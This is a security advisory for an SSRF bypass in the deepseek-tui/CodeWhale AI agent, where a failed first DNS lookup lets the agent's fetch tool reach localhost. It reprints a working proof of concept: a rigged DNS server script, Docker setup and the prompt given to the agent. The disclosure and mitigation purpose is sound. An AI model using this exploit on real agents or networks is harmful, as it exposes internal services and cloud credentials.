GHSA-6v2g-fpxh-pmmh is a high-severity (CVSS 8.6) Server-Side Request Forgery (SSRF) vulnerability in deepseek-tui. A fix is available for deepseek-tui — see the affected versions and patch details below.
CodeWhale: SSRF bypass - TOCTOU on DNS failure for DNS pinning
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6v2g-fpxh-pmmh.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-6v2g-fpxh-pmmh by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 381,682 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
deepseek-tuicrates.ioDescription
Maintainer resolution
The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.
Summary
DNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic.
Details
Simplified attack scenario:
- Attacker asks agent to visit the
mydomain.com. - CodeWhale tries to resolve the IP of
mydomain.com, however, the custom DNS server that's controlled by the attacker marks the request DNS query as failed (Time of Check). - CodeWhale allows the code to continue as it expects it request to fail again.
- On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1)
- The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.
In the DNS-pinning section, when DNS fails, the code is allowed to continue as it's expected to fail. However
PoC
This is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS server(for PoC, should be placed in dnser/dns_resolver.py:
#!/usr/bin/env python3
"""
Local DNS Resolver — customizable request/response handling.
Uses only the standard library + dnslib.
Usage:
pip install dnslib
sudo python dns_resolver.py # binds to 0.0.0.0:53 by default
python dns_resolver.py --port 5353 # unprivileged port for testing
"""
import argparse
import socket
import threading
from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA
UPSTREAM_DNS = ("8.8.8.8", 53) # fallback resolver
def handle_no_aaaa(query: DNSRecord) -> DNSRecord | None:
"""Drop all AAAA requests."""
if QTYPE[query.q.qtype] == "AAAA":
reply = query.reply()
reply.header.rcode = 3 # NXDOMAIN
return reply
return None
def handle_blocked(query: DNSRecord) -> DNSRecord | None:
"""Block domains by returning NXDOMAIN."""
blocked = {"blocked.example.com.", "ads.tracker.io."}
qname = str(query.q.qname)
if qname in blocked:
print(f" [BLOCKED] {qname}")
reply = query.reply()
reply.header.rcode = 3 # NXDOMAIN
return reply
return None
failer = 0
MAX_FAIL = 2
MAX_SUCCESS = 2
def handle_overrides(query: DNSRecord) -> DNSRecord | None:
global failer
"""Return hardcoded A records for specific names (split-horizon / local dev)."""
overrides: dict[str, str] = {
"myapp.local.": "127.0.0.1",
"devserver.local.": "192.168.1.100",
"mydomain.com.": "127.0.0.1",
}
qname = str(query.q.qname)
qtype = QTYPE[query.q.qtype]
if qname in overrides and qtype == "A":
failer += 1
cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS) # position within cycle
should_fail = cycle_pos < MAX_FAIL
print(f" [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}")
if should_fail:
reply = query.reply()
reply.header.rcode = 3
reply.header.ra = 0
return reply
ip = overrides[qname]
print(f" [OVERRIDE] {qname} → {ip}")
reply = query.reply()
reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0))
reply.header.ra = 0
return reply
return None
def handle_rewrite(query: DNSRecord) -> DNSRecord | None:
"""Rewrite a CNAME transparently (resolve alias locally)."""
rewrites: dict[str, str] = {
# "old.internal.": "new.internal.",
}
qname = str(query.q.qname)
if qname in rewrites:
target = rewrites[qname]
print(f" [REWRITE] {qname} → {target}")
reply = query.reply()
reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(target), ttl=60))
return reply
return None
def handle_upstream(query: DNSRecord) -> DNSRecord | None:
"""Forward the query to the upstream resolver."""
try:
raw = query.pack()
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(3)
sock.sendto(raw, UPSTREAM_DNS)
data, _ = sock.recvfrom(4096)
sock.close()
reply = DNSRecord.parse(data)
print(f" [UPSTREAM] {query.q.qname} → {UPSTREAM_DNS[0]}")
return reply
except Exception as e:
print(f" [UPSTREAM ERROR] {e}")
return None
# Chain of responsibility — handlers are tried in order; first non-None wins.
HANDLERS = [
handle_blocked,
handle_overrides,
handle_rewrite,
handle_upstream,
]
# ─────────────────────────────────────────────────────────────────────────────
# Server plumbing — no need to edit below this line
# ─────────────────────────────────────────────────────────────────────────────
def resolve(data: bytes) -> bytes:
try:
query = DNSRecord.parse(data)
qname = str(query.q.qname)
qtype = QTYPE[query.q.qtype]
print(f"[QUERY] {qtype} {qname}")
for handler in HANDLERS:
reply = handler(query)
if reply is not None:
return reply.pack()
# Fallback: SERVFAIL
reply = query.reply()
reply.header.rcode = 2
return reply.pack()
except Exception as e:
print(f"[ERROR] Failed to parse/handle query: {e}")
return b""
def udp_server(host: str, port: int) -> None:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((host, port))
print(f"DNS resolver listening on {host}:{port} (UDP)")
while True:
data, addr = sock.recvfrom(4096)
threading.Thread(
target=lambda d=data, a=addr: sock.sendto(resolve(d), a),
daemon=True,
).start()
def tcp_server(host: str, port: int) -> None:
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((host, port))
srv.listen(10)
print(f"DNS resolver listening on {host}:{port} (TCP)")
def handle_conn(conn: socket.socket) -> None:
with conn:
length_bytes = conn.recv(2)
if len(length_bytes) < 2:
return
length = int.from_bytes(length_bytes, "big")
data = conn.recv(length)
response = resolve(data)
conn.sendall(len(response).to_bytes(2, "big") + response)
while True:
conn, _ = srv.accept()
threading.Thread(target=handle_conn, args=(conn,), daemon=True).start()
def main() -> None:
parser = argparse.ArgumentParser(description="Local DNS resolver")
parser.add_argument("--host", default="0.0.0.0", help="Bind address")
parser.add_argument("--port", type=int, default=53, help="Bind port (use 5353 for unprivileged)")
args = parser.parse_args()
t_udp = threading.Thread(target=udp_server, args=(args.host, args.port), daemon=True)
t_tcp = threading.Thread(target=tcp_server, args=(args.host, args.port), daemon=True)
t_udp.start()
t_tcp.start()
try:
t_udp.join()
except KeyboardInterrupt:
print("\nShutting down.")
if __name__ == "__main__":
main()
Docker file to build it(dnser/Dockerfile):
FROM python:3.12-slim
WORKDIR /app
RUN pip install dnslib --no-cache-dir
COPY dns_resolver.py .
EXPOSE 53/udp
EXPOSE 53/tcp
CMD ["python", "-u", "dns_resolver.py", "--host", "0.0.0.0", "--port", "53"]
Then to simplify the test, we can set everything in a container and make the agent use the local DNS resolver:
docker-compose.yml:
services:
dns-resolver:
build: dnser
container_name: dns-resolver
restart: unless-stopped
networks:
dns-net:
ipv4_address: 10.0.1.2
a:
image: ghcr.io/hmbown/deepseek-tui:latest
container_name: tui
environment:
DEEPSEEK_API_KEY: sk-
stdin_open: true
tty: true
dns: 10.0.1.2
networks:
- dns-net
depends_on:
- dns-resolver
sysctls:
net.ipv6.conf.all.disable_ipv6: 1
networks:
dns-net:
driver: bridge
ipam:
config:
- subnet: 10.0.1.0/24
Then to check everything we could simply:
sudo docker attach tui
Prompt: read contnet of http://mydomain.com using fetch_url tools, no thinking just raw output
The tool will allow the request to go through 127.0.0.1. To make sure it's not a false-positive I've also installed python in CodeWhale container and ran python3 -m http.server 80 as root to make sure the request can actually read content.
To read the logs from dns-resolver:
sudo docker logs -f dns-resolver
Impact
Similar to other SSRF bypasses, other services private on the system, private network, and cloud credentials are at risk.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | deepseek-tui | ≥ 0.8.5 | No fix |
| 🦀crates.io | codewhale-tui | ≥ 0.8.41&&< 0.8.64 | 0.8.64cargo update -p codewhale-tui --precise 0.8.64 |
| 📦npm | deepseek-tui | ≥ 0.8.5&&< 0.8.41 | 0.8.41npm install deepseek-tui@0.8.41 |
| 📦npm | codewhale | ≥ 0.8.41&&< 0.8.64 | 0.8.64npm install codewhale@0.8.64 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deepseek-tui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
No patched version of deepseek-tui has shipped for GHSA-6v2g-fpxh-pmmh yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is GHSA-6v2g-fpxh-pmmh in your dependencies?
Find it across crates.io, npm, including transitive dependencies.